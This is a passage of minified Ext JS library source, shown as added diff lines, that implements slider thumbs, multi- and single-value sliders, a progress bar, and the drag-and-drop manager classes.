this.slider.innerEl.insertFirst({cls:this.cls}); + this.initEvents() +}, enable:function () { + this.disabled = false; + this.el.removeClass(this.slider.disabledClass) +}, disable:function () { + this.disabled = true; + this.el.addClass(this.slider.disabledClass) +}, initEvents:function () { + var a = this.el; + a.addClassOnOver("x-slider-thumb-over"); + this.tracker = new Ext.dd.DragTracker({onBeforeStart:this.onBeforeDragStart.createDelegate(this), onStart:this.onDragStart.createDelegate(this), onDrag:this.onDrag.createDelegate(this), onEnd:this.onDragEnd.createDelegate(this), tolerance:3, autoStart:300}); + this.tracker.initEl(a) +}, onBeforeDragStart:function (a) { + if (this.disabled) { + return false + } else { + this.slider.promoteThumb(this); + return true + } +}, onDragStart:function (a) { + this.el.addClass("x-slider-thumb-drag"); + this.dragging = true; + this.dragStartValue = this.value; + this.slider.fireEvent("dragstart", this.slider, a, this) +}, onDrag:function (g) { + var c = this.slider, b = this.index, d = this.getNewValue(); + if (this.constrain) { + var a = c.thumbs[b + 1], h = c.thumbs[b - 1]; + if (h != undefined && d <= h.value) { + d = h.value + } + if (a != undefined && d >= a.value) { + d = a.value + } + } + c.setValue(b, d, false); + c.fireEvent("drag", c, g, this) +}, getNewValue:function () { + var a = this.slider, b = a.innerEl.translatePoints(this.tracker.getXY()); + return Ext.util.Format.round(a.reverseValue(b.left), a.decimalPrecision) +}, onDragEnd:function (c) { + var a = this.slider, b = this.value; + this.el.removeClass("x-slider-thumb-drag"); + this.dragging = false; + a.fireEvent("dragend", a, c); + if (this.dragStartValue != b) { + a.fireEvent("changecomplete", a, b, this) + } +}, destroy:function () { + Ext.destroyMembers(this, "tracker", "el") +}}); +Ext.slider.MultiSlider = Ext.extend(Ext.BoxComponent, {vertical:false, minValue:0, maxValue:100, decimalPrecision:0, keyIncrement:1, increment:0, clickRange:[5, 15], clickToChange:true, animate:true, constrainThumbs:true, topThumbZIndex:10000, initComponent:function () { + if (!Ext.isDefined(this.value)) { + this.value = this.minValue + } + this.thumbs = []; + Ext.slider.MultiSlider.superclass.initComponent.call(this); + this.keyIncrement = Math.max(this.increment, this.keyIncrement); + this.addEvents("beforechange", "change", "changecomplete", "dragstart", "drag", "dragend"); + if (this.values == undefined || Ext.isEmpty(this.values)) { + this.values = [0] + } + var a = this.values; + for (var b = 0; b < a.length; b++) { + this.addThumb(a[b]) + } + if (this.vertical) { + Ext.apply(this, Ext.slider.Vertical) + } +}, addThumb:function (b) { + var a = new Ext.slider.Thumb({value:b, slider:this, index:this.thumbs.length, constrain:this.constrainThumbs}); + this.thumbs.push(a); + if (this.rendered) { + a.render() + } +}, promoteThumb:function (d) { + var a = this.thumbs, g, b; + for (var e = 0, c = a.length; e < c; e++) { + b = a[e]; + if (b == d) { + g = this.topThumbZIndex + } else { + g = "" + } + b.el.setStyle("zIndex", g) + } +}, onRender:function () { + this.autoEl = {cls:"x-slider " + (this.vertical ? "x-slider-vert" : "x-slider-horz"), cn:{cls:"x-slider-end", cn:{cls:"x-slider-inner", cn:[ + {tag:"a", cls:"x-slider-focus", href:"#", tabIndex:"-1", hidefocus:"on"} + ]}}}; + Ext.slider.MultiSlider.superclass.onRender.apply(this, arguments); + this.endEl = this.el.first(); + this.innerEl = this.endEl.first(); + this.focusEl = this.innerEl.child(".x-slider-focus"); + for (var b = 0; b < this.thumbs.length; b++) { + this.thumbs[b].render() + } + var a = this.innerEl.child(".x-slider-thumb"); + this.halfThumb = (this.vertical ? a.getHeight() : a.getWidth()) / 2; + this.initEvents() +}, initEvents:function () { + this.mon(this.el, {scope:this, mousedown:this.onMouseDown, keydown:this.onKeyDown}); + this.focusEl.swallowEvent("click", true) +}, onMouseDown:function (d) { + if (this.disabled) { + return + } + var c = false; + for (var b = 0; b < this.thumbs.length; b++) { + c = c || d.target == this.thumbs[b].el.dom + } + if (this.clickToChange && !c) { + var a = this.innerEl.translatePoints(d.getXY()); + this.onClickChange(a) + } + this.focus() +}, onClickChange:function (c) { + if (c.top > this.clickRange[0] && c.top < this.clickRange[1]) { + var a = this.getNearest(c, "left"), b = a.index; + this.setValue(b, Ext.util.Format.round(this.reverseValue(c.left), this.decimalPrecision), undefined, true) + } +}, getNearest:function (k, b) { + var m = b == "top" ? this.innerEl.getHeight() - k[b] : k[b], g = this.reverseValue(m), j = (this.maxValue - this.minValue) + 5, e = 0, c = null; + for (var d = 0; d < this.thumbs.length; d++) { + var a = this.thumbs[d], l = a.value, h = Math.abs(l - g); + if (Math.abs(h <= j)) { + c = a; + e = d; + j = h + } + } + return c +}, onKeyDown:function (b) { + if (this.disabled || this.thumbs.length !== 1) { + b.preventDefault(); + return + } + var a = b.getKey(), c; + switch (a) { + case b.UP: + case b.RIGHT: + b.stopEvent(); + c = b.ctrlKey ? this.maxValue : this.getValue(0) + this.keyIncrement; + this.setValue(0, c, undefined, true); + break; + case b.DOWN: + case b.LEFT: + b.stopEvent(); + c = b.ctrlKey ? this.minValue : this.getValue(0) - this.keyIncrement; + this.setValue(0, c, undefined, true); + break; + default: + b.preventDefault() + } +}, doSnap:function (b) { + if (!(this.increment && b)) { + return b + } + var d = b, c = this.increment, a = b % c; + if (a != 0) { + d -= a; + if (a * 2 >= c) { + d += c + } else { + if (a * 2 < -c) { + d -= c + } + } + } + return d.constrain(this.minValue, this.maxValue) +}, afterRender:function () { + Ext.slider.MultiSlider.superclass.afterRender.apply(this, arguments); + for (var c = 0; c < this.thumbs.length; c++) { + var b = this.thumbs[c]; + if (b.value !== undefined) { + var a = this.normalizeValue(b.value); + if (a !== b.value) { + this.setValue(c, a, false) + } else { + this.moveThumb(c, this.translateValue(a), false) + } + } + } +}, getRatio:function () { + var a = this.innerEl.getWidth(), b = this.maxValue - this.minValue; + return b == 0 ? a : (a / b) +}, normalizeValue:function (a) { + a = this.doSnap(a); + a = Ext.util.Format.round(a, this.decimalPrecision); + a = a.constrain(this.minValue, this.maxValue); + return a +}, setMinValue:function (e) { + this.minValue = e; + var d = 0, b = this.thumbs, a = b.length, c; + for (; d < a; ++d) { + c = b[d]; + c.value = c.value < e ? e : c.value + } + this.syncThumb() +}, setMaxValue:function (e) { + this.maxValue = e; + var d = 0, b = this.thumbs, a = b.length, c; + for (; d < a; ++d) { + c = b[d]; + c.value = c.value > e ? e : c.value + } + this.syncThumb() +}, setValue:function (d, c, b, g) { + var a = this.thumbs[d], e = a.el; + c = this.normalizeValue(c); + if (c !== a.value && this.fireEvent("beforechange", this, c, a.value, a) !== false) { + a.value = c; + if (this.rendered) { + this.moveThumb(d, this.translateValue(c), b !== false); + this.fireEvent("change", this, c, a); + if (g) { + this.fireEvent("changecomplete", this, c, a) + } + } + } +}, translateValue:function (a) { + var b = this.getRatio(); + return(a * b) - (this.minValue * b) - this.halfThumb +}, reverseValue:function (b) { + var a = this.getRatio(); + return(b + (this.minValue * a)) / a +}, moveThumb:function (d, c, b) { + var a = this.thumbs[d].el; + if (!b || this.animate === false) { + a.setLeft(c) + } else { + a.shift({left:c, stopFx:true, duration:0.35}) + } +}, focus:function () { + this.focusEl.focus(10) +}, onResize:function (c, e) { + var b = this.thumbs, a = b.length, d = 0; + for (; d < a; ++d) { + b[d].el.stopFx() + } + if (Ext.isNumber(c)) { + this.innerEl.setWidth(c - (this.el.getPadding("l") + this.endEl.getPadding("r"))) + } + this.syncThumb(); + Ext.slider.MultiSlider.superclass.onResize.apply(this, arguments) +}, onDisable:function () { + Ext.slider.MultiSlider.superclass.onDisable.call(this); + for (var b = 0; b < this.thumbs.length; b++) { + var a = this.thumbs[b], c = a.el; + a.disable(); + if (Ext.isIE) { + var d = c.getXY(); + c.hide(); + this.innerEl.addClass(this.disabledClass).dom.disabled = true; + if (!this.thumbHolder) { + this.thumbHolder = this.endEl.createChild({cls:"x-slider-thumb " + this.disabledClass}) + } + this.thumbHolder.show().setXY(d) + } + } +}, onEnable:function () { + Ext.slider.MultiSlider.superclass.onEnable.call(this); + for (var b = 0; b < this.thumbs.length; b++) { + var a = this.thumbs[b], c = a.el; + a.enable(); + if (Ext.isIE) { + this.innerEl.removeClass(this.disabledClass).dom.disabled = false; + if (this.thumbHolder) { + this.thumbHolder.hide() + } + c.show(); + this.syncThumb() + } + } +}, syncThumb:function () { + if (this.rendered) { + for (var a = 0; a < this.thumbs.length; a++) { + this.moveThumb(a, this.translateValue(this.thumbs[a].value)) + } + } +}, getValue:function (a) { + return this.thumbs[a].value +}, getValues:function () { + var a = []; + for (var b = 0; b < this.thumbs.length; b++) { + a.push(this.thumbs[b].value) + } + return a +}, beforeDestroy:function () { + var b = this.thumbs; + for (var c = 0, a = b.length; c < a; ++c) { + b[c].destroy(); + b[c] = null + } + Ext.destroyMembers(this, "endEl", "innerEl", "focusEl", "thumbHolder"); + Ext.slider.MultiSlider.superclass.beforeDestroy.call(this) +}}); +Ext.reg("multislider", Ext.slider.MultiSlider); +Ext.slider.SingleSlider = Ext.extend(Ext.slider.MultiSlider, {constructor:function (a) { + a = a || {}; + Ext.applyIf(a, {values:[a.value || 0]}); + Ext.slider.SingleSlider.superclass.constructor.call(this, a) +}, getValue:function () { + return Ext.slider.SingleSlider.superclass.getValue.call(this, 0) +}, setValue:function (d, b) { + var c = Ext.toArray(arguments), a = c.length; + if (a == 1 || (a <= 3 && typeof arguments[1] != "number")) { + c.unshift(0) + } + return Ext.slider.SingleSlider.superclass.setValue.apply(this, c) +}, syncThumb:function () { + return Ext.slider.SingleSlider.superclass.syncThumb.apply(this, [0].concat(arguments)) +}, getNearest:function () { + return this.thumbs[0] +}}); +Ext.Slider = Ext.slider.SingleSlider; +Ext.reg("slider", Ext.slider.SingleSlider); +Ext.slider.Vertical = {onResize:function (a, b) { + this.innerEl.setHeight(b - (this.el.getPadding("t") + this.endEl.getPadding("b"))); + this.syncThumb() +}, getRatio:function () { + var b = this.innerEl.getHeight(), a = this.maxValue - this.minValue; + return b / a +}, moveThumb:function (d, c, b) { + var a = this.thumbs[d], e = a.el; + if (!b || this.animate === false) { + e.setBottom(c) + } else { + e.shift({bottom:c, stopFx:true, duration:0.35}) + } +}, onClickChange:function (c) { + if (c.left > this.clickRange[0] && c.left < this.clickRange[1]) { + var a = this.getNearest(c, "top"), b = a.index, d = this.minValue + this.reverseValue(this.innerEl.getHeight() - c.top); + this.setValue(b, Ext.util.Format.round(d, this.decimalPrecision), undefined, true) + } +}}; +Ext.slider.Thumb.Vertical = {getNewValue:function () { + var b = this.slider, c = b.innerEl, d = c.translatePoints(this.tracker.getXY()), a = c.getHeight() - d.top; + return b.minValue + Ext.util.Format.round(a / b.getRatio(), b.decimalPrecision) +}}; +Ext.ProgressBar = Ext.extend(Ext.BoxComponent, {baseCls:"x-progress", animate:false, waitTimer:null, initComponent:function () { + Ext.ProgressBar.superclass.initComponent.call(this); + this.addEvents("update") +}, onRender:function (d, a) { + var c = new Ext.Template('
    ', '
    ', '
    ', '
    ', "
     
    ", "
    ", "
    ", '
    ', "
     
    ", "
    ", "
    ", "
    "); + this.el = a ? c.insertBefore(a, {cls:this.baseCls}, true) : c.append(d, {cls:this.baseCls}, true); + if (this.id) { + this.el.dom.id = this.id + } + var b = this.el.dom.firstChild; + this.progressBar = Ext.get(b.firstChild); + if (this.textEl) { + this.textEl = Ext.get(this.textEl); + delete this.textTopEl + } else { + this.textTopEl = Ext.get(this.progressBar.dom.firstChild); + var e = Ext.get(b.childNodes[1]); + this.textTopEl.setStyle("z-index", 99).addClass("x-hidden"); + this.textEl = new Ext.CompositeElement([this.textTopEl.dom.firstChild, e.dom.firstChild]); + this.textEl.setWidth(b.offsetWidth) + } + this.progressBar.setHeight(b.offsetHeight) +}, afterRender:function () { + Ext.ProgressBar.superclass.afterRender.call(this); + if (this.value) { + this.updateProgress(this.value, this.text) + } else { + this.updateText(this.text) + } +}, updateProgress:function (c, d, b) { + this.value = c || 0; + if (d) { + this.updateText(d) + } + if (this.rendered && !this.isDestroyed) { + var a = Math.floor(c * this.el.dom.firstChild.offsetWidth); + this.progressBar.setWidth(a, b === true || (b !== false && this.animate)); + if (this.textTopEl) { + this.textTopEl.removeClass("x-hidden").setWidth(a) + } + } + this.fireEvent("update", this, c, d); + return this +}, wait:function (b) { + if (!this.waitTimer) { + var a = this; + b = b || {}; + this.updateText(b.text); + this.waitTimer = Ext.TaskMgr.start({run:function (c) { + var d = b.increment || 10; + c -= 1; + this.updateProgress(((((c + d) % d) + 1) * (100 / d)) * 0.01, null, b.animate) + }, interval:b.interval || 1000, duration:b.duration, onStop:function () { + if (b.fn) { + b.fn.apply(b.scope || this) + } + this.reset() + }, scope:a}) + } + return this +}, isWaiting:function () { + return this.waitTimer !== null +}, updateText:function (a) { + this.text = a || " "; + if (this.rendered) { + this.textEl.update(this.text) + } + return this +}, syncProgressBar:function () { + if (this.value) { + this.updateProgress(this.value, this.text) + } + return this +}, setSize:function (a, c) { + Ext.ProgressBar.superclass.setSize.call(this, a, c); + if (this.textTopEl) { + var b = this.el.dom.firstChild; + this.textEl.setSize(b.offsetWidth, b.offsetHeight) + } + this.syncProgressBar(); + return this +}, reset:function (a) { + this.updateProgress(0); + if (this.textTopEl) { + this.textTopEl.addClass("x-hidden") + } + this.clearTimer(); + if (a === true) { + this.hide() + } + return this +}, clearTimer:function () { + if (this.waitTimer) { + this.waitTimer.onStop = null; + Ext.TaskMgr.stop(this.waitTimer); + this.waitTimer = null + } +}, onDestroy:function () { + this.clearTimer(); + if (this.rendered) { + if (this.textEl.isComposite) { + this.textEl.clear() + } + Ext.destroyMembers(this, "textEl", "progressBar", "textTopEl") + } + Ext.ProgressBar.superclass.onDestroy.call(this) +}}); +Ext.reg("progress", Ext.ProgressBar); +(function () { + var a = Ext.EventManager; + var b = Ext.lib.Dom; + Ext.dd.DragDrop = function (e, c, d) { + if (e) { + this.init(e, c, d) + } + }; + Ext.dd.DragDrop.prototype = {id:null, config:null, dragElId:null, handleElId:null, invalidHandleTypes:null, invalidHandleIds:null, invalidHandleClasses:null, startPageX:0, startPageY:0, groups:null, locked:false, lock:function () { + this.locked = true + }, moveOnly:false, unlock:function () { + this.locked = false + }, isTarget:true, padding:null, _domRef:null, __ygDragDrop:true, constrainX:false, constrainY:false, minX:0, maxX:0, minY:0, maxY:0, maintainOffset:false, xTicks:null, yTicks:null, primaryButtonOnly:true, available:false, hasOuterHandles:false, b4StartDrag:function (c, d) { + }, startDrag:function (c, d) { + }, b4Drag:function (c) { + }, onDrag:function (c) { + }, onDragEnter:function (c, d) { + }, b4DragOver:function (c) { + }, onDragOver:function (c, d) { + }, b4DragOut:function (c) { + }, onDragOut:function (c, d) { + }, b4DragDrop:function (c) { + }, onDragDrop:function (c, d) { + }, onInvalidDrop:function (c) { + }, b4EndDrag:function (c) { + }, endDrag:function (c) { + }, b4MouseDown:function (c) { + }, onMouseDown:function (c) { + }, onMouseUp:function (c) { + }, onAvailable:function () { + }, defaultPadding:{left:0, right:0, top:0, bottom:0}, constrainTo:function (j, h, o) { + if (Ext.isNumber(h)) { + h = {left:h, right:h, top:h, bottom:h} + } + h = h || this.defaultPadding; + var l = Ext.get(this.getEl()).getBox(), d = Ext.get(j), n = d.getScroll(), k, e = d.dom; + if (e == document.body) { + k = {x:n.left, y:n.top, width:Ext.lib.Dom.getViewWidth(), height:Ext.lib.Dom.getViewHeight()} + } else { + var m = d.getXY(); + k = {x:m[0], y:m[1], width:e.clientWidth, height:e.clientHeight} + } + var i = l.y - k.y, g = l.x - k.x; + this.resetConstraints(); + this.setXConstraint(g - (h.left || 0), k.width - g - l.width - (h.right || 0), this.xTickSize); + this.setYConstraint(i - (h.top || 0), k.height - i - l.height - (h.bottom || 0), this.yTickSize) + }, getEl:function () { + if (!this._domRef) { + this._domRef = Ext.getDom(this.id) + } + return this._domRef + }, getDragEl:function () { + return Ext.getDom(this.dragElId) + }, init:function (e, c, d) { + this.initTarget(e, c, d); + a.on(this.id, "mousedown", this.handleMouseDown, this) + }, initTarget:function (e, c, d) { + this.config = d || {}; + this.DDM = Ext.dd.DDM; + this.groups = {}; + if (typeof e !== "string") { + e = Ext.id(e) + } + this.id = e; + this.addToGroup((c) ? c : "default"); + this.handleElId = e; + this.setDragElId(e); + this.invalidHandleTypes = {A:"A"}; + this.invalidHandleIds = {}; + this.invalidHandleClasses = []; + this.applyConfig(); + this.handleOnAvailable() + }, applyConfig:function () { + this.padding = this.config.padding || [0, 0, 0, 0]; + this.isTarget = (this.config.isTarget !== false); + this.maintainOffset = (this.config.maintainOffset); + this.primaryButtonOnly = (this.config.primaryButtonOnly !== false) + }, handleOnAvailable:function () { + this.available = true; + this.resetConstraints(); + this.onAvailable() + }, setPadding:function (e, c, g, d) { + if (!c && 0 !== c) { + this.padding = [e, e, e, e] + } else { + if (!g && 0 !== g) { + this.padding = [e, c, e, c] + } else { + this.padding = [e, c, g, d] + } + } + }, setInitPosition:function (g, e) { + var h = this.getEl(); + if (!this.DDM.verifyEl(h)) { + return + } + var d = g || 0; + var c = e || 0; + var i = b.getXY(h); + this.initPageX = i[0] - d; + this.initPageY = i[1] - c; + this.lastPageX = i[0]; + this.lastPageY = i[1]; + this.setStartPosition(i) + }, setStartPosition:function (d) { + var c = d || b.getXY(this.getEl()); + this.deltaSetXY = null; + this.startPageX = c[0]; + this.startPageY = c[1] + }, addToGroup:function (c) { + this.groups[c] = true; + this.DDM.regDragDrop(this, c) + }, removeFromGroup:function (c) { + if (this.groups[c]) { + delete this.groups[c] + } + this.DDM.removeDDFromGroup(this, c) + }, setDragElId:function (c) { + this.dragElId = c + }, setHandleElId:function (c) { + if (typeof c !== "string") { + c = Ext.id(c) + } + this.handleElId = c; + this.DDM.regHandle(this.id, c) + }, setOuterHandleElId:function (c) { + if (typeof c !== "string") { + c = Ext.id(c) + } + a.on(c, "mousedown", this.handleMouseDown, this); + this.setHandleElId(c); + this.hasOuterHandles = true + }, unreg:function () { + a.un(this.id, "mousedown", this.handleMouseDown); + this._domRef = null; + this.DDM._remove(this) + }, destroy:function () { + this.unreg() + }, isLocked:function () { + return(this.DDM.isLocked() || this.locked) + }, handleMouseDown:function (g, d) { + if (this.primaryButtonOnly && g.button != 0) { + return + } + if (this.isLocked()) { + return + } + this.DDM.refreshCache(this.groups); + var c = new Ext.lib.Point(Ext.lib.Event.getPageX(g), Ext.lib.Event.getPageY(g)); + if (!this.hasOuterHandles && !this.DDM.isOverTarget(c, this)) { + } else { + if (this.clickValidator(g)) { + this.setStartPosition(); + this.b4MouseDown(g); + this.onMouseDown(g); + this.DDM.handleMouseDown(g, this); + this.DDM.stopEvent(g) + } else { + } + } + }, clickValidator:function (d) { + var c = d.getTarget(); + return(this.isValidHandleChild(c) && (this.id == this.handleElId || this.DDM.handleWasClicked(c, this.id))) + }, addInvalidHandleType:function (c) { + var d = c.toUpperCase(); + this.invalidHandleTypes[d] = d + }, addInvalidHandleId:function (c) { + if (typeof c !== "string") { + c = Ext.id(c) + } + this.invalidHandleIds[c] = c + }, addInvalidHandleClass:function (c) { + this.invalidHandleClasses.push(c) + }, removeInvalidHandleType:function (c) { + var d = c.toUpperCase(); + delete this.invalidHandleTypes[d] + }, removeInvalidHandleId:function (c) { + if (typeof c !== "string") { + c = Ext.id(c) + } + delete this.invalidHandleIds[c] + }, removeInvalidHandleClass:function (d) { + for (var e = 0, c = this.invalidHandleClasses.length; e < c; ++e) { + if (this.invalidHandleClasses[e] == d) { + delete this.invalidHandleClasses[e] + } + } + }, isValidHandleChild:function (h) { + var g = true; + var k; + try { + k = h.nodeName.toUpperCase() + } catch (j) { + k = h.nodeName + } + g = g && !this.invalidHandleTypes[k]; + g = g && !this.invalidHandleIds[h.id]; + for (var d = 0, c = this.invalidHandleClasses.length; g && d < c; ++d) { + g = !Ext.fly(h).hasClass(this.invalidHandleClasses[d]) + } + return g + }, setXTicks:function (g, c) { + this.xTicks = []; + this.xTickSize = c; + var e = {}; + for (var d = this.initPageX; d >= this.minX; d = d - c) { + if (!e[d]) { + this.xTicks[this.xTicks.length] = d; + e[d] = true + } + } + for (d = this.initPageX; d <= this.maxX; d = d + c) { + if (!e[d]) { + this.xTicks[this.xTicks.length] = d; + e[d] = true + } + } + this.xTicks.sort(this.DDM.numericSort) + }, setYTicks:function (g, c) { + this.yTicks = []; + this.yTickSize = c; + var e = {}; + for (var d = this.initPageY; d >= this.minY; d = d - c) { + if (!e[d]) { + this.yTicks[this.yTicks.length] = d; + e[d] = true + } + } + for (d = this.initPageY; d <= this.maxY; d = d + c) { + if (!e[d]) { + this.yTicks[this.yTicks.length] = d; + e[d] = true + } + } + this.yTicks.sort(this.DDM.numericSort) + }, setXConstraint:function (e, d, c) { + this.leftConstraint = e; + this.rightConstraint = d; + this.minX = this.initPageX - e; + this.maxX = this.initPageX + d; + if (c) { + this.setXTicks(this.initPageX, c) + } + this.constrainX = true + }, clearConstraints:function () { + this.constrainX = false; + this.constrainY = false; + this.clearTicks() + }, clearTicks:function () { + this.xTicks = null; + this.yTicks = null; + this.xTickSize = 0; + this.yTickSize = 0 + }, setYConstraint:function (c, e, d) { + this.topConstraint = c; + this.bottomConstraint = e; + this.minY = this.initPageY - c; + this.maxY = this.initPageY + e; + if (d) { + this.setYTicks(this.initPageY, d) + } + this.constrainY = true + }, resetConstraints:function () { + if (this.initPageX || this.initPageX === 0) { + var d = (this.maintainOffset) ? this.lastPageX - this.initPageX : 0; + var c = (this.maintainOffset) ? this.lastPageY - this.initPageY : 0; + this.setInitPosition(d, c) + } else { + this.setInitPosition() + } + if (this.constrainX) { + this.setXConstraint(this.leftConstraint, this.rightConstraint, this.xTickSize) + } + if (this.constrainY) { + this.setYConstraint(this.topConstraint, this.bottomConstraint, this.yTickSize) + } + }, getTick:function (k, g) { + if (!g) { + return k + } else { + if (g[0] >= k) { + return g[0] + } else { + for (var d = 0, c = g.length; d < c; ++d) { + var e = d + 1; + if (g[e] && g[e] >= k) { + var j = k - g[d]; + var h = g[e] - k; + return(h > j) ? g[d] : g[e] + } + } + return g[g.length - 1] + } + } + }, toString:function () { + return("DragDrop " + this.id) + }} +})(); +if (!Ext.dd.DragDropMgr) { + Ext.dd.DragDropMgr = function () { + var a = Ext.EventManager; + return{ids:{}, handleIds:{}, dragCurrent:null, dragOvers:{}, deltaX:0, deltaY:0, preventDefault:true, stopPropagation:true, initialized:false, locked:false, init:function () { + this.initialized = true + }, POINT:0, INTERSECT:1, mode:0, _execOnAll:function (d, c) { + for (var e in this.ids) { + for (var b in this.ids[e]) { + var g = this.ids[e][b]; + if (!this.isTypeOfDD(g)) { + continue + } + g[d].apply(g, c) + } + } + }, _onLoad:function () { + this.init(); + a.on(document, "mouseup", this.handleMouseUp, this, true); + a.on(document, "mousemove", this.handleMouseMove, this, true); + a.on(window, "unload", this._onUnload, this, true); + a.on(window, "resize", this._onResize, this, true) + }, _onResize:function (b) { + this._execOnAll("resetConstraints", []) + }, lock:function () { + this.locked = true + }, unlock:function () { + this.locked = false + }, isLocked:function () { + return this.locked + }, locationCache:{}, useCache:true, clickPixelThresh:3, clickTimeThresh:350, dragThreshMet:false, clickTimeout:null, startX:0, startY:0, regDragDrop:function (c, b) { + if (!this.initialized) { + this.init() + } + if (!this.ids[b]) { + this.ids[b] = {} + } + this.ids[b][c.id] = c + }, removeDDFromGroup:function (d, b) { + if (!this.ids[b]) { + this.ids[b] = {} + } + var c = this.ids[b]; + if (c && c[d.id]) { + delete c[d.id] + } + }, _remove:function (c) { + for (var b in c.groups) { + if (b && this.ids[b] && this.ids[b][c.id]) { + delete this.ids[b][c.id] + } + } + delete this.handleIds[c.id] + }, regHandle:function (c, b) { + if (!this.handleIds[c]) { + this.handleIds[c] = {} + } + this.handleIds[c][b] = b + }, isDragDrop:function (b) { + return(this.getDDById(b)) ? true : false + }, getRelated:function (h, c) { + var g = []; + for (var e in h.groups) { + for (var d in this.ids[e]) { + var b = this.ids[e][d]; + if (!this.isTypeOfDD(b)) { + continue + } + if (!c || b.isTarget) { + g[g.length] = b + } + } + } + return g + }, isLegalTarget:function (g, e) { + var c = this.getRelated(g, true); + for (var d = 0, b = c.length; d < b; ++d) { + if (c[d].id == e.id) { + return true + } + } + return false + }, isTypeOfDD:function (b) { + return(b && b.__ygDragDrop) + }, isHandle:function (c, b) { + return(this.handleIds[c] && this.handleIds[c][b]) + }, getDDById:function (c) { + for (var b in this.ids) { + if (this.ids[b][c]) { + return this.ids[b][c] + } + } + return null + }, handleMouseDown:function (d, c) { + if (Ext.QuickTips) { + Ext.QuickTips.ddDisable() + } + if (this.dragCurrent) { + this.handleMouseUp(d) + } + this.currentTarget = d.getTarget(); + this.dragCurrent = c; + var b = c.getEl(); + this.startX = d.getPageX(); + this.startY = d.getPageY(); + this.deltaX = this.startX - b.offsetLeft; + this.deltaY = this.startY - b.offsetTop; + this.dragThreshMet = false; + this.clickTimeout = setTimeout(function () { + var e = Ext.dd.DDM; + e.startDrag(e.startX, e.startY) + }, this.clickTimeThresh) + }, startDrag:function (b, c) { + clearTimeout(this.clickTimeout); + if (this.dragCurrent) { + this.dragCurrent.b4StartDrag(b, c); + this.dragCurrent.startDrag(b, c) + } + this.dragThreshMet = true + }, handleMouseUp:function (b) { + if (Ext.QuickTips) { + Ext.QuickTips.ddEnable() + } + if (!this.dragCurrent) { + return + } + clearTimeout(this.clickTimeout); + if (this.dragThreshMet) { + this.fireEvents(b, true) + } else { + } + this.stopDrag(b); + this.stopEvent(b) + }, stopEvent:function (b) { + if (this.stopPropagation) { + b.stopPropagation() + } + if (this.preventDefault) { + b.preventDefault() + } + }, stopDrag:function (b) { + if (this.dragCurrent) { + if (this.dragThreshMet) { + this.dragCurrent.b4EndDrag(b); + this.dragCurrent.endDrag(b) + } + this.dragCurrent.onMouseUp(b) + } + this.dragCurrent = null; + this.dragOvers = {} + }, handleMouseMove:function (d) { + if (!this.dragCurrent) { + return true + } + if (Ext.isIE && (d.button !== 0 && d.button !== 1 && d.button !== 2)) { + this.stopEvent(d); + return this.handleMouseUp(d) + } + if (!this.dragThreshMet) { + var c = Math.abs(this.startX - d.getPageX()); + var b = Math.abs(this.startY - d.getPageY()); + if (c > this.clickPixelThresh || b > this.clickPixelThresh) { + this.startDrag(this.startX, this.startY) + } + } + if (this.dragThreshMet) { + this.dragCurrent.b4Drag(d); + this.dragCurrent.onDrag(d); + if (!this.dragCurrent.moveOnly) { + this.fireEvents(d, false) + } + } + this.stopEvent(d); + return true + }, fireEvents:function (n, o) { + var q = this.dragCurrent; + if (!q || q.isLocked()) { + return + } + var r = n.getPoint(); + var b = []; + var g = []; + var l = []; + var j = []; + var d = []; + for (var h in this.dragOvers) { + var c = this.dragOvers[h]; + if (!this.isTypeOfDD(c)) { + continue + } + if (!this.isOverTarget(r, c, this.mode)) { + g.push(c) + } + b[h] = true; + delete this.dragOvers[h] + } + for (var p in q.groups) { + if ("string" != typeof p) { + continue + } + for (h in this.ids[p]) { + var k = this.ids[p][h]; + if (!this.isTypeOfDD(k)) { + continue + } + if (k.isTarget && !k.isLocked() && ((k != q) || (q.ignoreSelf === false))) { + if (this.isOverTarget(r, k, this.mode)) { + if (o) { + j.push(k) + } else { + if (!b[k.id]) { + d.push(k) + } else { + l.push(k) + } + this.dragOvers[k.id] = k + } + } + } + } + } + if (this.mode) { + if (g.length) { + q.b4DragOut(n, g); + q.onDragOut(n, g) + } + if (d.length) { + q.onDragEnter(n, d) + } + if (l.length) { + q.b4DragOver(n, l); + q.onDragOver(n, l) + } + if (j.length) { + q.b4DragDrop(n, j); + q.onDragDrop(n, j) + } + } else { + var m = 0; + for (h = 0, m = g.length; h < m; ++h) { + q.b4DragOut(n, g[h].id); + q.onDragOut(n, g[h].id) + } + for (h = 0, m = d.length; h < m; ++h) { + q.onDragEnter(n, d[h].id) + } + for (h = 0, m = l.length; h < m; ++h) { + q.b4DragOver(n, l[h].id); + q.onDragOver(n, l[h].id) + } + for (h = 0, m = j.length; h < m; ++h) { + q.b4DragDrop(n, j[h].id); + q.onDragDrop(n, j[h].id) + } + } + if (o && !j.length) { + q.onInvalidDrop(n) + } + }, getBestMatch:function (d) { + var g = null; + var c = d.length; + if (c == 1) { + g = d[0] + } else { + for (var e = 0; e < c; ++e) { + var b = d[e]; + if (b.cursorIsOver) { + g = b; + break + } else { + if (!g || g.overlap.getArea() < b.overlap.getArea()) { + g = b + } + } + } + } + return g + }, refreshCache:function (c) { + for (var b in c) { + if ("string" != typeof b) { + continue + } + for (var d in this.ids[b]) { + var e = this.ids[b][d]; + if (this.isTypeOfDD(e)) { + var g = this.getLocation(e); + if (g) { + this.locationCache[e.id] = g + } else { + delete this.locationCache[e.id] + } + } + } + } + }, verifyEl:function (c) { + if (c) { + var b; + if (Ext.isIE) { + try { + b = c.offsetParent + } catch (d) { + } + } else { + b = c.offsetParent + } + if (b) { + return true + } + } + return false + }, getLocation:function (j) { + if (!this.isTypeOfDD(j)) { + return null + } + var h = j.getEl(), o, g, d, q, p, s, c, n, i, m; + try { + o = Ext.lib.Dom.getXY(h) + } catch (k) { + } + if (!o) { + return null + } + g = o[0]; + d = g + h.offsetWidth; + q = o[1]; + p = q + h.offsetHeight; + s = q - j.padding[0]; + c = d + j.padding[1]; + n = p + j.padding[2]; + i = g - j.padding[3]; + m = new Ext.lib.Region(s, c, n, i); + h = Ext.get(h.parentNode); + while (h && m) { + if (h.isScrollable()) { + m = m.intersect(h.getRegion()) + } + h = h.parent() + } + return m + }, isOverTarget:function (k, b, d) { + var g = this.locationCache[b.id]; + if (!g || !this.useCache) { + g = this.getLocation(b); + this.locationCache[b.id] = g + } + if (!g) { + return false + } + b.cursorIsOver = g.contains(k); + var j = this.dragCurrent; + if (!j || !j.getTargetCoord || (!d && !j.constrainX && !j.constrainY)) { + return b.cursorIsOver + } + b.overlap = null; + var h = j.getTargetCoord(k.x, 